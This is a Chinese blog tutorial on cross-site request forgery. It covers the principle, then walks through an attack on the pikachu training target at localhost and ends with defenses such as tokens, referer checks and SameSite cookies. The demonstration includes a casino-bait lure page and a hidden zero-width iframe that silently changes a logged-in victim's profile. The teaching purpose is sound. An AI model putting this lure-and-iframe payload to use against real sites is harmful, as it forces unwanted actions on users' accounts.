网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

简介: 网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

简介

跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

原理

构造链接,黑客在自己的网站或邮箱等引诱已登录用户点击按钮等,来请求想要攻击的网站,浏览器会携带已登录用户的Cookie去访问黑客想要攻击的网站。CSRF攻击利用网站对于用户网页浏览器的信任。

举例

漏洞发现

使用靶机:pikachu

2020062310470442.png

                                             CSRF(get)

使用vince 123456登录

2020062310470442.png

                                            登录后查看

点击修改个人信息

2020062310470442.png

                                               修改

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=beijing&email=vince@qq.com&submit=submit


抓包发现链接如上,存在CSRF漏洞。

链接及请求伪造

click.html

<html>
  <head>
    <title>
      澳门皇家赌场上线啦!!!
    </title>
  </head>
  <body>
    <a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
  </body>
</html>

requestforgery.html

<html>
  <head>
    <title>
      领奖平台!!!
    </title>
  </head>
  <body>
    <p>请邮箱查收</p>
    <iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
  </body>
</html>

修改地址即add参数为shanghai

CSRF攻击

不同浏览器

pikachu登录是使用火狐,以下点击是使用谷歌。

2020062310470442.png

                                                         恶意链接

2020062310470442.png

                                                   跳转至请求伪造界面

界面刷新后没有问题

2020062310470442.png

                                                   界面刷新

未登录状态

点击退出登录

image.png                                                点击退出登录

使用火狐浏览器(网站同一浏览器)进行访问。

2020062310470442.png

                                                恶意链接

2020062310470442.png

                                                           请求伪造

登录后查看,未改变。

2020062310470442.png

                                                   未改变

登录状态

登录后重复上述操作,攻击成功!!!

2020062310470442.png

                                  攻击成功,地址修改

代码查看

pikachu\vul\csrf\csrfget\csrf_get_login.php

2020062310470442.png

                                            session保存

使用session保存的,没有验证码或token。

工具

deemon

csrftester与burpsuite

csrf-scanner(闭源)

防御

用户

通过简介就可以看出用户可以做的防御措施

  • 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
  • 不点击恶意链接
  • 使用特殊网站时单独用一个浏览器

程序员

  • 验证码

这个比较常见,我就不多说了,目前各种验证码都有可能通过机器学习等方式进行破解。

  • referer

请求头带的,可以标识来源。

  • token

token是常用的一种方式,通过设置过期时间进行刷新,在文章django-rest-framework-jwt与django-rest-framework-simplejwt的对比及使用中有对比python中两种JWT包,当时博主在学REST API。

  • 二次验证

在进行修改密码,钱财业务等敏感操作时再次核验身份,通过手机短信,面部识别等

-----------------------------------------2021年9月1日更新------------------------------------------

  • Same Site Cookie

由Google提出的草案,在原有的Cookie中,新添加了一个SameSite属性,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:

  1. Strict
  2. Lax
  3. None

CORS与CSRF

-------------------------------------2021年9月1日更新完毕---------------------------------------

若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,可以通过XSS获取cookie、token等,换浏览器或在浏览器层面防御也就没有意义了。


b站视频:恶意链接是怎么对你攻击的(CSRF讲解)


更多内容查看:网络安全-自学笔记


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。


相关文章
|
3月前
|
边缘计算 网络协议 安全
DDoS攻击:网络世界的“洪峰考验”与应对逻辑
本文介绍了DDoS攻击的运行机制及其影响,并提供了多层次的防御策略。DDoS攻击通过海量流量使目标服务器过载,造成服务中断,对电商和在线平台带来巨大经济损失与用户信任危机。防御措施包括基础设施优化、流量调度及云端协同防护等技术手段。针对中小企业,推荐使用如非凡云提供的弹性防护方案,含200G免费DDoS防御与自动带宽扩容功能,有效降低攻击风险和技术门槛。
395 0
DDoS攻击:网络世界的“洪峰考验”与应对逻辑
|
9月前
|
安全 数据安全/隐私保护
谨防二维码陷阱:揭秘网络钓鱼攻击与保护措施
当我们深入了解二维码的世界时,了解它们的特性和潜在风险变得至关重要,揭示了伴随其广泛普及的更为阴暗的一面
223 1
|
8月前
|
存储 安全 网络安全
如何识别和防范网络钓鱼攻击?
通过以上方法的综合运用,可以有效识别和防范网络钓鱼攻击,降低遭受网络安全威胁的风险,保护个人信息和财产安全。
332 68
|
6月前
|
安全 数据安全/隐私保护 网络虚拟化
如何防止网络钓鱼攻击
网络钓鱼是攻击者伪装成合法来源,通过电子邮件等手段窃取敏感信息的行为。常见特征包括通用问候语、陌生域名、制造紧迫感和包含可疑附件。为防止此类攻击,建议进行安全培训、不分享个人信息、谨慎点击链接、使用双因素认证,并保持软件更新。ADSelfService Plus提供无密码身份验证和自适应多因素认证(MFA),有效保护组织免受网络钓鱼威胁。
146 6
|
8月前
|
安全 网络安全 数据安全/隐私保护
社会工程学攻击:了解并预防心理操控的网络欺诈
社会工程学攻击:了解并预防心理操控的网络欺诈
402 7
|
8月前
|
存储 JSON 安全
2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧
2024全网最全面及最新的网络安全技巧 二 之 CSRF+XSS漏洞的各类利用技巧
|
8月前
|
存储 安全 网络安全
互联网上如何有效应对网络勒索攻击?
有效应对网络勒索攻击需要采取多方面的措施,从预防、监测到应急响应和数据恢复等多个环节进行综合防护。
143 4
|
8月前
|
网络协议 安全 物联网
网络安全涨知识:基础网络攻防之DDoS攻击
网络安全涨知识:基础网络攻防之DDoS攻击
439 0
|
8月前
|
安全 前端开发 JavaScript
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
1097 5
|
8月前
|
存储 Web App开发 安全
如何防范 CSRF 攻击
CSRF(跨站请求伪造)攻击是一种常见的安全威胁。防范措施包括:使用Anti-CSRF Token、检查HTTP Referer、限制Cookie作用域、采用双重提交Cookie机制等,确保请求的合法性与安全性。